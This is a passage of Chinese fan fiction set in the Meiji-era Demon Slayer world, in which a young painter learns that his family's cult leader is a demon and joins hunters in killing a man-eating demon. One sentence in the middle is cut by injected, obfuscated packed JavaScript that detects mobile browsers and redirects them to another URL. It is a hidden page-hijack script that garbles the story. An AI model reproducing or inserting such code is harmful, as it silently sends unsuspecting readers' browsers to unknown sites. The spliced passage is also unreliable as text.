叫他的是比他高一年级的学长萩原,在美术学校的第一年,吉助就和他成了好友,“信诚”这个名字也是萩原帮忙改的。 ——吉助?哈哈,你家祖上不是京都人吗?怎么起了这么个乡下名字?这可不行啊,土里土气的家伙在这里要被人瞧不起的。 吉助回过神来,结结巴巴地说:“抱歉啊秋也,我是第一次来这种…这种地方,还是…还是有点紧张。” 吉原花街,聚集着无数男女间的爱恨情仇,以及虚荣和欲望的不夜之地。 吉助抬头望去,先看见的是一排排高挂的灯笼,简直像八坂神社的门面一样壮观,照的这妓楼的中庭亮如白昼。脚下是座精巧的红漆木桥,桥下流水淙淙,几尾肥大的锦鲤懒洋洋地游曳其中,浑身的彩鳞在灯火中熠熠生光。那一道道白色纸门后传来的靡靡春音更是难以言喻,令未经人事的少年面红耳赤。 “有点紧张?我看你是快被吓尿裤子了吧!” 萩原笑着说。他特意穿了料子上乘的和服,衬的衣着朴素的吉助多少有点灰头土脸。 “放心啦,咱们只是来帮花魁画像而已,这家德岛屋可是大店,跑这一趟能挣一百元呢,你不是一直说要努力挣钱还家里的债吗?” “一百?这么多?”吉助的眼睛亮了。 “那是,我就说你小子没见过世面嘛。” “可画像的话…现在不是有那个…照相机吗?”吉助迷惑地说,“他们为什么不用那个?” “哎呀,那种古怪的西洋玩意儿怎么能给姑娘们用啊?”为他们引路的遣手鄙夷地插嘴,“你们年轻人不懂,听说西洋玩意儿里都藏着妖怪,能嗖的一下——把人的魂魄吸走呢。” “这样啊…”吉助和学长无奈地相视一笑。 德岛屋的头牌雅乐花魁是个温婉娴静的女人,尤其擅长和歌。但比花魁给的糕饼点心更让吉助在意的,是房中屏风上那幅菩萨像。 和往常见到的佛画不同,这幅竟然画的是地狱中的情景。宛如血河的三途川从画中流过,两岸燃烧着熊熊业火,无数瘦骨嶙峋的恶鬼作出种种挣扎求饶之态,枯黑的鬼手伸向画面一侧的地藏菩萨。菩萨垂目,面带宁静祥和的微笑,以手中莲花向群鬼降下洁白的甘霖。然而…菩萨的繁复裙裾却浸泡在血水里,周身非但没有宝光,还被鲜红的雾气笼罩,仿佛和群鬼一同在这地狱业火中燃烧。 画的一角写有两行汉字: 三界无安,犹如火宅; 众苦充满,甚可怖畏。 神佛不在中而在侧,已是古怪,更不用说这菩萨画的好像全身浴血一般,多少有些不祥。 但这些都不是关键,关键是那运笔的风格,吉助一眼就认了出来。 “那个…请问…” 帮萩原调颜料的间歇,吉助大着胆子问道。 “啊,是说这屏风吗?” 花魁回头看了眼,微微一笑。 “是江户时代的古物了,由一位叫‘飞鸟斋’的人所作,看,印章就藏在那边的火里,不仔细找还看不见呢。” 吉助随着花魁纤细的手指望去,果然看见烧的最旺的一簇火苗中,有个模模糊糊的暗红色印鉴。 “竟…竟然真的是他!请问小姐可知道关于这屏风的故事?为什么它会在这里?为什么要画成这种…这种…” “……?” 雅乐花魁显得有些疑惑。 “失礼了。”吉助深吸一口气,低头深深一拜:“这位飞鸟斋正是先祖,我自幼临摹他的画,却不知他后来的人生如何。如果可以的话,请您无论如何把知道的事告诉我,拜托了!” 花魁面露惊异之色。 “世上竟有这等缘分!”她用织锦的衣袖掩口笑道,“关于这件事,我也是在楼主那里偶然听到的,两位忙了半夜,就当是听个笑话吧。” 大约是一百多年前的某个秋日,德岛屋的先代楼主在京町的西河岸附近救了一名奄奄一息的男子。 男人只有一只手,是个残废,还患了严重的肺病,已是病入膏肓。 先代楼主虽挣的是花柳街的钱,却笃信神佛,见这人可怜,就在切见世找了个僻静屋子,只等他咽气,好送去附近的寺院安葬,毕竟没让人曝尸荒野,也算善事一桩。 没想到此人第二天就爬起来,说要在死前画一幅画,才能安心往生,苦苦请求楼主借他笔墨纸砚。 接下来的五天,这个明明只剩一口气的男人居然在几乎不吃不喝的状态下,画完了这幅《极乐地狱图》。 扔下画笔的一刻,先代楼主见他如释重负地吐出了一口气,然后,那双干涸的眼中流出了泪。 【我有一位重要的友人…】 垂死的男人说道。 【他…活着就已沦为非人…堕入地狱道…背负无尽罪孽…将来一定…一定会下地狱…】 【但是…倘若没有他的关照…我早在被人冤枉、错判断手之刑后…就活不下去了…】 【那些年…家里的生意也全靠他暗中接济…多亏了他…多亏了他…我的孩子才能长大成人…】 【虽然知道他罪孽深重,我却一直觉得…他有一颗神佛般的心…】 【所以…就算这样…我也还是…将家族的未来托付给了他…】 【我是个多么自私的人啊…】 男人泪流满面地喃喃道。 【这人世乃是火宅…我要先一步解脱了…但是你啊…你啊…何时才能解脱呢?】 男人当天下午就往生了,留下的遗言只有一句俳文: 决意死荒野,秋风吹我身。 “这画能留下可不容易,之前有位新来的花魁说上面这些火画的太像真的,看着很可怕,硬逼着楼主给扔了出去,我却觉得把佛菩萨扔出去终归不好,就叫人偷偷捡回来摆在我房里了。” “但你这位先祖还真是个怪人,”花魁叹了口气,“哪有把自己的名章印在地狱业火里的,多不吉利啊…” 吉助却没听清她最后这句话,心里只剩下一件事: 活着就已沦为非人,堕入地狱道,背负无尽罪孽… 这是什么意思? 他心底泛起一股凉意,某些刻意忽略的记忆像是池塘里的水泡,正在缓缓浮上水面。 总在消失的女信徒。 永远不许他进入的内殿。 在阳光中化为灰烬的手。 还有几年前那个下午的意外落水,水中的是…… ——啪! “呀,你这孩子,怎么连个茶杯都拿不稳?” 遣手责怪的声音传来。吉助这才回过神来,连忙伏下身去: “万分抱歉!可能是茶喝多了,请…请问茅厕在哪?” “真是服了现在的年轻人了!出门右转走到头再…” “谢谢您!” 吉助像想要逃离什么似的冲出门去。 教主大人并非人类,而是神之子,这是他从小就知道的事实。 在极乐教中,信徒们也如此虔信,他那白橡木般纯洁的发色和映着彩虹的清澈双眸,他百年未变的年轻和强健,都是神明降临在人世的神迹。况且吉助亲眼见过他的法术,那根本不是人类能做到的事。 可为什么?为什么先祖却说他已堕入地狱道?这到底是什么意思? 温柔善良、沉稳大度、永远在微笑着安慰信徒的教主大人,怎么可能有罪? 给了无数人希望的教主大人,怎么可能有罪?! ——帮助大家、给大家带来幸福,这是我与生俱来的使命。 他明明那样说过…也是那样做的…到底是哪里不对了?! “这是…什么地方?” 吉助迷惑地看着眼前幽暗的走廊。 一通没头苍蝇似的乱撞后他才意识到,自己好像…又迷路了。 这德岛屋实在太大,上下几层,所有的门都长的差不多,他在不知不觉中进入了一个相当安静的区域,空气中漂浮着淡淡的脂粉香气,却没有酒气,想来是某位游女的闺房,但灯光明显要昏暗的多。 “这种地方真是伤脑筋啊…找个人问问好了,唉,好丢人…” 吉助只好暂时不去想那些乱七八糟的事,四下看了看,走向离自己最近的一扇门。 “抱歉,打扰了…” 他拉开了那道门。 屋子里的装饰极其华美,墙上画满了盛放的金边牡丹,屋子正中的梳妆镜前,坐着个身穿织金打褂的女人,乌发梳成蝶翅般的“横兵库”,上面插满了令人眼花缭乱的螺钿发簪。 是花魁! 这德岛屋中…竟然还有一位花魁! 女人转过头来,一双猫儿一样的碧眼令吉助的呼吸停滞了片刻。 他从未见过如此美艳的女人,美的张扬肆意,令那一墙的金边牡丹都相形见绌,少年一时间只听到自己心脏的狂跳声。 但那双眼睛… 那双眼睛带着显而易见的厌恶,像盯着什么脏东西似的盯着他。 “哪来的老鼠,谁允许你进来的?” “我…我…我不是…”吉助结结巴巴地解释,“我是找…” “谁准你用那双贼兮兮的眼睛盯着我看的?”花魁傲然道,“马上给我跪下道歉。” “非…非常抱歉!” 吉助不由自主地跪倒在地,不知为什么,这女人身上有种诡异的感觉,让他害怕。 “我是…我是被请来给花魁画像的画师,找…找不到路回…” “原来是雅乐那贱人。”那道冰冷至极的女声不知为何突然出现在他头顶,“竟然没告诉我就请人来画像,这么明目张胆的小看我,真是欺人太甚…” 吉助毛骨悚然地抬起头,看见那美艳的女子正斜着脑袋,以一种极其阴森的目光打量着他。 “小鬼,看你穿的这么寒酸,家里应该没什么钱吧?” “……” “没钱,就说明没什么厉害的亲戚。” “这样的话,”她以嘲讽的语气说道,“世上就压根没人在意你的死活。要是你家里人来找,就让那个蠢货老板随便应付一下好了。” 这女人…在说什么? 吉助很茫然,但下一刻,他的身体就不受控制的被什么东西拽进门里去。 “虽然你这种干巴巴的小男孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252400|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一口都不吃,但你来的正是时候,我哥哥饿了。” 纸门啪的一声关上了。 “你要干什么!” 吉助这才吓的大叫起来。眼前的女人有着和外表不相称的恐怖力量,像猫按住老鼠似的将他死死按在榻榻米上,竟让他一动也不能动。 女人背后似乎有什么东西在涌动… 紧接着,少年的脖子被扼住了。 他一点也没法呼吸,眼前阵阵发黑。 这女人到底是…什么?! “哎?这是什么?” 掐着他脖子的花魁忽然愣住了。 她松开手,手里捏着一样东西。 ——是吉助挂在脖子上的护身符袋子,刚刚一番折腾,就从领口滑了出来。 “还…还我!”吉助缓过一口气,趁机拼命挣扎起来,“那是教主大人给我的!还我!” “教主大人?” 花魁的瞳孔微微一缩,将那袋子抖了抖,从中掉出个被层层锦缎包裹的小包。 她一下就将那些锦缎撕的粉碎,里面露出条细细的黑檀念珠。 “这气息…果然是他。” 花魁似乎忌惮着什么似的,皱眉看着手中的念珠。 “喂,小鬼,你和万世极乐教是什么关系?” 这女人…在犹豫? “我…我是教主大人的…” 我是教主大人的什么呢? 吉助急中生智,决定赌一把。 “我是教主大人的养子!” 他大声说。 “他看着我长大的!他最疼我了!我要是有个三长两短,他绝对…绝对不会放过你!” 花魁被他这番话说的又愣了愣,随即爆发出一阵尖利的笑声。 “开什么玩笑!那家伙…哈哈哈哈…养子…哈哈哈哈…” 花魁笑的花枝乱颤,方才那可怖的气息消失的一干二净,吉助这才看清她的脸。 看起来只是十几岁的少女,那样娇俏动人的一张脸。 “哎呀,你这孩子也真是的,在不熟悉的地方乱跑,多危险啊。” 花魁笑意盈盈地说。 “但你毕竟打扰了我的清净,作为惩罚,这个我就拿走啦!” 她恶作剧似的朝吉助晃了晃那串黑色的念珠。 “不…不行…那是…” “嗯?” 腰上一沉,那花魁竟坐在他身上,朝他俯下身去。 织满金线的打褂滑落,松垮的和服领口露出了雪一般洁白细腻的肌肤。 少女朱唇轻启,吐气如兰。 “那这样呢?” 她在吉助的脸颊上落下了一个羽毛般轻巧的吻。 少年落荒而逃的凌乱脚步声在走廊中远去了。堕姬盯着房门,神色再次变得阴沉。 她嫌弃的用丝帕擦了擦嘴角,盯着面前地上那串黑檀念珠直皱眉头。 “童磨大人这是脑子又出毛病了吧?竟然把浸过鬼血的东西送给一个人类?要是被那位大人发现,他就死定了!” 她身后的阴影里幽幽传出个男人嘶哑的声音: “气息刚好控制在咱们能感受到,但猎鬼人发现不了的程度…不愧是上弦之贰,仅次于黑死牟大人的鬼…” “我不管!他都没送过我护身符,凭什么给那种臭小鬼!”堕姬像个小女孩似的发起脾气来,抬手就将梳妆台上的瓶瓶罐罐全都打翻在地,“太讨厌了!那孩子太讨厌了!” 她忽然灵光一闪:“我明白了!其实是那种关系吧?毕竟是上弦之贰嘛,以前只知道他喜好年轻漂亮的女孩子,难不成连男人也…” “小孩子不要乱讲这种话啊…” 上弦之陆·妓夫太郎阴郁地蹲在她身后,烦躁地挠了挠满是黑斑的脸。 “很能干嘛…那小鬼…”他吐出丝丝的凉气,“长的也不赖…白白净净的…真叫人羡慕呀…” “只要没死在咱们这里,就不是咱们干的。” 堕姬明艳的脸上浮现出恶毒的微笑。 妓夫太郎有些迟疑地看了妹妹一眼。 “怎么了嘛哥哥?”小女鬼用撒娇的语气说道,“不用担心啦!童磨大人是什么人我还不知道吗?他才不会为了区区一个人类生咱们的气呢!再说他每次来都吃光我的存粮,我还没跟他计较呢!他要是敢欺负咱们,我就去找那位大人告状,哼!” “唉,真拿你这孩子没办法…”妓夫太郎宠溺地摸了摸妹妹的头,“就找个下级鬼来做吧。” “我说,你小子运气可真够好的。” 荻原边吸溜着乌冬的汤,边絮絮叨叨地说。 夜色已深,浅草路边的荞麦面摊上却还有不少客人,两名少年一人捧着碗热气腾腾的乌冬面,炸豆腐和昆布汤头的香气混在一起,衬着头顶煤油灯暖黄的光,让正月的冬夜都显得没那么寒冷了。 “雅乐花魁都告诉我了,那个屋珠姬可不是什么善茬,她接触过的人很多不是失踪就是自杀了,但那张脸据说是人间绝色,楼主还要靠她招揽那些有权有势的客人,所以大家都是敢怒不敢言。” 说罢他促狭地挤了挤眼睛,“怎么样怎么样,真有传说中那么漂亮吗?” 吉助的心情无比复杂。惊恐、迷惑、羞赧…种种情绪交织在一起,让他只觉得恍恍惚惚,像做了一场梦。 那女人…本来想对他做什么可怕的事,但最后却… 原来女人的吻是这种感觉啊… 脸颊上仿佛残留着那羽毛般的触感,吉助的心脏又砰砰狂跳起来了。 “漂亮,很漂亮。”他如实说道。 “哈哈!你小子真是走了狗屎运!这种经历回学校能吹一年了!”萩原拍着他的肩膀大笑,“以后再有这种好事要想着兄弟我啊!” “嗯。”吉助敷衍地答道。 好运气吗? 他下意识地摸了摸脖子,心中有些失落。 最后还是没能把教主大人的护身符拿回来,回家肯定会被老爹痛骂一顿。 “秋也,你听说过‘青色彼岸花’吗?” “啊?那素啥?”萩原嘴里塞满炸豆腐,含含糊糊地说。 “青色彼岸花,应该是类似草药的东西,你家不是有亲戚开药铺吗?” “那种东西我怎么会知道,我对草药什么的完全没兴趣啊。” “哦,没什么,那我再找别人问问吧。” “唔,我吃好了!你小子也快点回家吧!” 萩原站起身,背着一箱子画具,朝他挥了挥手,“学校见!” “学校见。” 吉助也站了起来,刚转过身,就被两个人挡住了路。 是两名和他年纪差不多的年轻人,身穿好像学生制服的黑衣服,打着绑腿,身后背着长长的包袱。 其中一名梳着高马尾的少女朝他笑了笑。 “请问…你刚刚是提到了青色彼岸花吗?” ———— *宝船:东京人有新年在枕头底下压一张宝船画的习俗,据说能使人做吉祥的梦。 *三界无安,犹如火宅,众苦充满,甚可怖畏:出自《法华经》。 124. 【明治篇番外】未闻神名(5) 世上有些事,如果不是亲耳听到,亲眼所见,你永远不会相信那是真的。 不,与其说是不信,不如说,你一直在欺骗自己。 人类是相当擅长欺骗自己的生物。因为懦弱,因为卑劣,因为贪心,因为活着是如此艰难且无聊的一件事。 吉助忽然明白过来,他和那些跪在神坛下、苦苦祈求着神子大人指引他们去往极乐净土的信徒,并没有什么两样。 他甚至比他们更加愚蠢。 “你现在的处境真的很危险。” 面前对他说话的少年神色诚恳,怎么看都不像坏人。 什么很危险?我吗? 我只是个学画画的穷学生而已。 在奈良住着最便宜的“下宿”,边上学边拼命打工,现在生活好不容易有了点起色,为什么…为什么会遇到这种事? “你说你们…是什么人来着?” 吉助呆呆地说。 “青木君和我都是鬼杀队的队士,鬼杀队是不公开的猎鬼组织,职责就是保护人类不受鬼的伤害,所以你不必害怕,把发生的事原原本本告诉我们就好。” 可能对这种情况司空见惯了,梳着马尾辫的女孩子耐心地解释道。 她看上去只有十五六岁,却相当沉稳的样子,一旁的少年也一样。 “…鬼?” 吉助艰难地说出这个词,然后挤出一丝不自然的笑容。 “别开玩笑了,世上哪有那种东西啊?”他说,“你们是怪谈小说看多了吧?” 两人对视一眼,那名少年露出了苦笑。 “那说明你很幸运。”他低声说,“你的幸福还没有被鬼破坏。” “鬼什么的先不说,你们要缠着我到什么时候?”吉助摆出一副不满的态度,“这深更半夜的,你们都不用回家睡觉也就算了,我明天一早可还要工作的。” “你还没有回答我们的问题,是什么人让你帮忙寻找青色彼岸花?” “都说了是个朋友啦,烦不烦啊?”吉助火大起来,步伐也加快了许多,“搞不好只是重名呢。” “普通人可不知道青色彼岸花,要你做这件事的人,一定和鬼有联系。”那名少年冷冷地说,“说不定那只鬼已经在你身边潜伏很久了,你继续替它遮掩会害死无数的人,还是说,你已经有背负他人性命的觉悟了?” 这话让吉助打了个冷战。 他猛地停下脚步,恼羞成怒地瞪着那少年。 “你这话什么意思?说的好像我是杀人犯一样!好,就算你说的是真的,你怎么知道鬼一定是坏的?万一有好鬼呢?” “别天真了,鬼都是以人类为食的怪物,活的越久的鬼吃人越多,也就越强大,有些还会使用被称为‘血鬼术’的妖术。”猎鬼人少女耐着性子解释道,“但无论多强的鬼,见到阳光也会化成灰烬,所以鬼之始祖一直在寻找能让鬼不怕阳光的青色彼岸花。” 吃人…阳光…灰烬…妖术… 吉助的心脏再次慌乱地跳动起来。 见他不说话,少女用略带同情的语气说,“鬼是无法克服对人类血肉的渴望的,再这么下去,你和你的家人一定会被吃掉。所以无论如何,请把你知道的信息告诉我们,这样我们至少能保护你…” “谁要你们管了?!” 吉助突然暴怒,抡起手中装画具的包袱就朝对方砸过去。 “谁要你们多管闲事!你们…你们懂什么!”他语无伦次地大骂道,“骗子!混蛋!谁信你们的屁话?!给老子滚!再不滚我就…我就叫警官了!” 猎鬼人少女灵活地躲过了那只毫无章法乱砸的包袱。布包砸到墙上,笔和画纸散落一地,吉助却不停手。他攥着手里的破布,狠狠瞪着面前的两名年轻人,一副要拼命的架势。 “什么都不懂的明明是你吧!是非不分的家伙!”女孩无法再忍耐下去,咬牙切齿地说,“亲眼看着爹娘被鬼吃掉的心情你又知道多少?像你这样的人…你这样生活在幸福中的人…” “水野,够了。” 那名少年出声制止道。 “已经够了,我们走吧。” “可是…!” “这种连鬼都包庇的蠢才,也没什么救的必要了。”少年冷冷地看了吉助一眼,“他早晚会反省的。” 父亲傍晚喝多了酒,早已鼾声如雷。吉助摸黑进了屋,和衣躺下,却翻来覆去怎么也睡不着。 手砸到墙上擦破了一大片,现在才觉出火辣辣的疼。他干脆爬起来找药酒,这下睡意是一点都没了。 鬼竟然真的存在。 教主大人…不是神明,而是鬼。 曾祖知道这件事,所以才会留下那样奇怪的遗言吧。 【就算这样…我也还是…将家族的未来托付给了他…】 那个名叫宗三郎的男人,就那样在罪孽、悔恨和某种莫名的希冀中死去了。 他在希冀什么呢? 无论那是什么,都无法改变一个事实,那就是—— 铁谷家是依靠着鬼的庇护,才得以延续至今。 其他人也遇到过鬼吗?还有和我们家一样的人吗?人类和鬼…一直是像那两个孩子说的那样,相互杀戮的吗? 可为什么…教主大人他…没有杀我? 吉助生平第一次感到了不知所措。他胸口堵的难受,想大叫,又想找人打一架。有那么一会儿,他想马上摇醒身边的老爹,问问他这到底是怎么一回事,伸出的手却又停在了半空。 老爹睡的很熟,大概白天干活累了,时不时还嘟囔些含糊不清的梦话。 父亲老了,手臂上结实的筋肉变得松弛,头顶生出了不少白发。而即便是年轻时,弘藏也不是个有耐心回答儿子的“为什么”的男人。 从很小的时候开始,能解答他所有疑惑的,就只有那个“人”了。 吉助一刻也等不下去了,有太多东西,他想亲自找教主大人确认。 于是他悄悄绑好裤腿,用围巾裹住头和脖子,又从门后拿了根木棍,拎起屋檐下的风灯。少年在薄霜般寒冷的月色下出了家门,他打定主意,要独自去走那条最难走的山路了。 “切,也没那么难嘛!” 吉助搓了搓早已冻僵的双手,大声给自己打气。 只要沿着小溪一直走就可以了,很快就能到寺院了。 因为事态紧急,他选的是一条从山中穿过、但平时没什么人走的近路。一手提着风灯,一手用木棍在积雪覆盖的石板路上小心地试探着,少年就这样一步一滑、但步履坚定地向山里走去。 这是个晴朗的夜晚,进了山后,月光便更显得明亮。他忽然想起小时候那次在山里迷路,爬到树上时,也看到了这样的月色。 后来,教主大人来找他,带着他像鸟一样飞了起来,他全都记得清清楚楚。 回去的路上,他在教主大人怀里睡着了,就算是那样,也还是平平安安回到了老爹面前。 那两个人一定是在胡说八道。 教主大人明明没有吃我,可能他根本就不吃人,那些不见了的信徒只不过是出于什么原因离开了而已。 就算是鬼,就算是鬼…也未必都是坏的啊。对了,要是能找到那个什么青色彼岸花的话,也许鬼也能像人一样活下去呢。 一定是那样的。 吉助如此想着,心情也好了起来。他深吸一口气,开始唱自己在学校学会的新歌: “汽笛一声响,火车离新桥, 月亮隐入爱宕山,与我旅途长相伴。 右边是高轮泉岳寺,四十七士葬于此, 冰雪消融,不朽之名传千载…”* 喀嚓。 好像在印证歌里的唱词似的,右边的树林中传来一声树枝断裂的脆响。 吉助朝那个方向看去,风灯微弱的光却照不进林子深处,那里只有一片望不见底的黑暗。 他咽下一口唾沫,接着唱了起来,脚下也加快了脚步: “…过了以梅闻名的大森,很快就是川崎, 大师河原就在附近,快快去乘电化铁道吧, 走过鹤见和神奈川,就到了横滨…” 那种“存在感”越来越强,有什么东西在漆黑的林子里,正跟着他一起移动。 吉助几乎跑了起来,嘴里呼出一团团白雾,还在结结巴巴地唱着: “望向…望向港口…轮船的煤烟…染…染黑了天空…” 这句刚唱完,他就听见身后传来一个声音。 好像呻吟,又像是阴森的低笑。 “嘻…” 吉助只觉得脖子后面的汗毛一根根竖起。他攥紧风灯的提手,缓缓转过身去。 离他不足十步的地方,站着一只从未见过的“生物”。 那东西足有熊那么高。两条长度惊人的手臂垂在身体两侧,几乎要拖到地上。全身却没有几根毛发,呈现出死物般的灰绿色,脑袋像吊死的人那样耷拉着,一双突出眼眶的血红眼珠向上翻了翻,“看”向了面前的少年。 它发出了低沉的咕哝声,竟说的是人话: “太好了,又是个洋学生…” 一条滴着涎水的猩红长舌从裂开到耳根的嘴里伸了出来,意犹未尽地舔了舔。 “刚刚那个就细皮嫩肉的,上弦大人对咱可真是慷慨,把这么好的肉留给了咱。要更努力才行啊,努力吃更多的人,没准儿咱也能当上十二鬼月…” 它再次嘻嘻地笑了起来,山风吹来,送来浓烈的腥臭味。吉助才看见那东西的腰上挂着两排像是纸面具的东西,有的已经皱缩发黑,像腌过的茄子,有的像干枯的树叶,有的是灰白混着暗红… 那不是面具,而是人的脸皮。 意识到这一点后,吉助全身僵硬,不受控制的发起抖来。他拼尽全力才勉强挪动脚步,后退了半步。 ——然后将手里的风灯狠狠砸向了对方! 怪物本能地抬起细长的胳膊挡了一下,玻璃风灯四分五裂,灯油撒在它头上,顿时燃起了火焰。 “可恶的臭小鬼!”它被烧的尖声大叫起来,“咱要把你活活撕碎!” 吉助在扔出风灯后拔腿就跑,然而没跑几步就绊倒在地,他回头一看,怪物的手臂居然变成了藤蔓般的东西,死死缠住了他的脚。 “胆子不小啊,小鬼…” 怪物身上的火焰已经熄灭,烧烂的半张脸上凸现了无数筋脉,以肉眼可见的速度修复着皮肉。它咧着嘴边怪笑,边将吉助拖向自己: “咱要一点点剥掉你全身的皮,从手指到脚趾,再把你挂在树上风干。” 被拖过去就完了。 吉助恐惧到了极点,他一通乱抓,紧紧抱住了离自己最近的一棵树,但这也仅仅是拖延时间罢了。 原来人在快死的时候,会想起许多东西。 ——爹啊,咱们不去不行吗? 六岁的他不情愿地说。 ——我听隔壁大婶说,晚上会有鬼出来呢。 老爹的手按在他肩膀上。 ——不行,这是祖辈和神明的约定,只要咱们家还有后人,就一定要遵守。 ——这世上并不存在… ——所谓的神佛呀,小吉。 白橡色头发的男人用金扇掩着嘴角,戏谑地笑道。 ——无论怎样祈祷都不会得到半点回应,神明和佛祖才不在意人类的死活呐,你看看这些可怜人,他们的人生明明毫无希望,却还在幻想神佛的庇佑,是何等的愚蠢啊! ——所以啊,你要记住,将来无论遇到什么事… 那双虹色的眼眸里毫无笑意,“神之子”以近乎残酷的冰冷眼神注视着他。 ——都要靠自己哦。 “呀啊啊啊啊——!!!” 被拖行的少年爆发出声嘶力竭的吼声,举起手中的木棍,用尽全身力气捅向恶鬼的肚子。 然而有人比他动作更快。一道黑影闪过,银亮的刀光斩断了鬼那拉长的手臂,紧接着另一只手将他拉了起来,把他推向山路的方向。 “水野!带他走!” 姓青木的年轻鬼杀队员扭头大吼,之后就朝着那怪物冲了过去。 “风之呼吸·一之型——” 另一名猎鬼人少女不知从哪钻出来,一把抓住吉助的胳膊,拽着他开始狂奔。 “你们…你们是从哪里…” 吉助边跑边气喘吁吁地问。 “是乌鸦通知我们的,和你一起的那孩子被吃了,我和青木一路顺着血迹追踪那只鬼,幸好来的及时!” 吉助顿时呆住了。 萩原他…死了? 骗人,明明才分开没多久… “这下你总该明白了吧!鬼是人类的敌人,鬼杀队是保护人类的组织!” 少女依然是一副咬牙切齿的表情,“就算是你这种笨蛋…就算是你这种笨蛋…我们也非救不可,这就是我们的职责!” 惭愧和内疚感油然而生。 “对…对不起。”吉助结结巴巴地说,“我以为…” “行了!我一点也不想听笨蛋的废话!”转眼到了下山的岔路口,猎鬼人少女将一样东西塞进吉助手里,“快走吧!我得回去支援青木,他一个人对付不了那只鬼!带着你朋友的份好好活下去吧!” 说完这句话,她就头也不回的跑远了。 吉助低下头,就着月光,看清了手里是半截浸透鲜血的和服腰带,他认出那是萩原秋也的腰带,头天中午碰面时学长还跟他显摆了半天,说是为了来吉原见花魁特意买的,往后半年只吃得起荞麦面了云云。 那个叫做“鬼”的生物…杀了秋也。 他心中骤然腾起了一股从未有过的灼热。 两名年轻的鬼杀队士正陷入一场苦战。 眼下这只鬼虽然还未掌握血鬼术,攻击速度也不快,但外皮十分有韧性,双臂能瞬间化作十几条长鞭似的藤蔓,即便斩断也能马上再生,还能硬化成长枪似的武器。青木就因为不知道这一招,而不慎被刺中了大腿和腰部,水野则被削掉了一块头皮,右眼也被擦伤,视力受到了影响。 “啧,麻烦。”青木喘着粗气,握紧了刀。 即便立刻用呼吸法止血,两名剑士也知道留给他们的时间不多了,要么立刻斩杀眼前的恶鬼,要么在天亮前体力耗尽,沦为鬼的夜宵。 正在这时,不远处的山腰上传来了一个声音。 “喂——” 身着学生制服的少年挥舞着一支火把,大叫道: “你不是想抓我吗?我在这里,来抓我啊!” 生怕鬼注意不到自己似的,他手舞足蹈地做出各种夸张的动作。 “笨蛋——瞧你那蠢样——连我这种没用的洋学生都抓不到——还想当什么十二鬼月?我看你是做梦——” 这通挑衅吸引了藤鬼的注意,它本身也是没剩多少智力的下级鬼,立刻气的哇哇大叫起来: “臭小鬼!看咱怎么收拾你!” 说罢它就真的朝着那山崖上追去。 “那小子疯了?”青木震惊地说。 “不对,”水野皱眉道,“看样子他是想把那只鬼引到某个地方去,咱们跟上!” 吉助的确想好了一个计划。 他这辈子从未跑的这么快过,正月冰冷的空气灌入肺部,冻的生疼,灌木上的荆棘将脸和手划出无数血口,那把从心中窜到脑子里的火却让他暂时忘记了□□的痛苦,也忘记了恐惧。 哪怕是死,也要像个男子汉一样。他想。 许多年后吉助才明白,那是巨大的愤怒和复仇的冲动,加上一腔少年的蛮勇。在十七岁那年,他第一次如此强烈的、想要亲手杀死一只生物。 来吧,来吧。他在心里默念着。 让我看看咱们到底谁比谁厉害。 没人比他更熟悉御岳山,他从六岁起每个月都要来一次这座山,年纪长了几岁后,更是为了画画成天在山里跑,因此他知道这里离小时候教主大人带他去赏月的那处悬崖不远,他也知道,那附近有一间猎户们冬天用来躲避风雪的小屋,屋里储存着取暖用的火油。 吉助将燃烧的火把扔在悬崖边上,在火上浇了一点油,又撒了很多干松针和松果,然后用围巾裹紧口鼻,默不作声地蹲在附近的树丛里。 冬天的松针和松果富含油脂,遇火便冒出大量的烟,松香强烈的气味弥漫开来,果然如他所想的那样扰乱了鬼的嗅觉。 “小鬼…跑到哪里去了…咱要把你的皮剥下来…把你的肠子扯出来…没错…就像对那个洋学生一样…” 藤鬼一边恶狠狠地诅咒着,一边站在熊熊燃烧的火堆边四处张望。 “可恨的臭小鬼…咱要让你哭着求饶…嘻嘻…再割掉你的舌头…挖出你的眼珠子…” 吉助沉默地等待着。他的手已经失去了知觉,似乎和手中的洋铁皮桶冻在了一起。然而愈是听到鬼的咒骂,他心中那团火焰就烧的愈烈。 直到藤鬼失去了耐心,也可能是被烟味儿呛的受不了,它骂骂咧咧地转过身,准备离开。正当此时,吉助发出“啊!!!”的一声大叫,冲到了鬼的面前,将手中的整整一桶火油悉数泼到了它身上。 鬼本能地向后躲闪,一脚踩在火堆上,瞬间就被烈焰吞噬,化作一团火球。 “给我去死啊!!!” 少年从地上抱起一根燃烧的圆木,朝着那团被烧的跌跌撞撞的火球冲了过去。 即便在燃烧,藤鬼的身躯依然像一堵墙般坚固,吉助赌上性命的冲击也只让它踉跄了一下,但下一刻,那根木头上多了两双手。 “亏你小子想的出来这种招数!”青木朗声大笑,“还不算太蠢!” “要上了!一二——” 在三人一起的怒吼声中,圆木重重地撞击在藤鬼的腰间,它向后踩空,在一连串惨叫声中坠下了悬崖。 “……它死了吗?” 吉助瘫倒在地上,这下才觉得全身上下一点力气也没有了,只剩下发抖。 “下面太黑了,看不清。”青木也跪在地上喘个不停,失血让他无法站立,撑到此刻已是极限,“马上就天亮了,它烧成那样,肯定没法再生,太阳出来就好了,等到太阳出来…” “你们也太厉害了吧,”吉助虽然虚脱,但十几年的人生中从未感到如此痛快,“我叫铁谷信诚,你们呢?” “我是水野津子,修习水之呼吸,马上就要升到乙级了。”猎鬼人少女擦了把汗,也露出了笑脸,“那孩子叫真一,是个性格直率的家伙,我俩从入队选拔就认识了。杀了这只鬼,真一应该就是甲级队士了,对吧真一?” “原来如此,你们都还不是‘柱’啊,所以连‘杀鬼要砍断脖子才行’这件事都忘了呀~” 毫无预兆地,一个柔和轻快的声音插了进来。 吉助睁大了眼睛,跳起来叫道: “教主大人!” 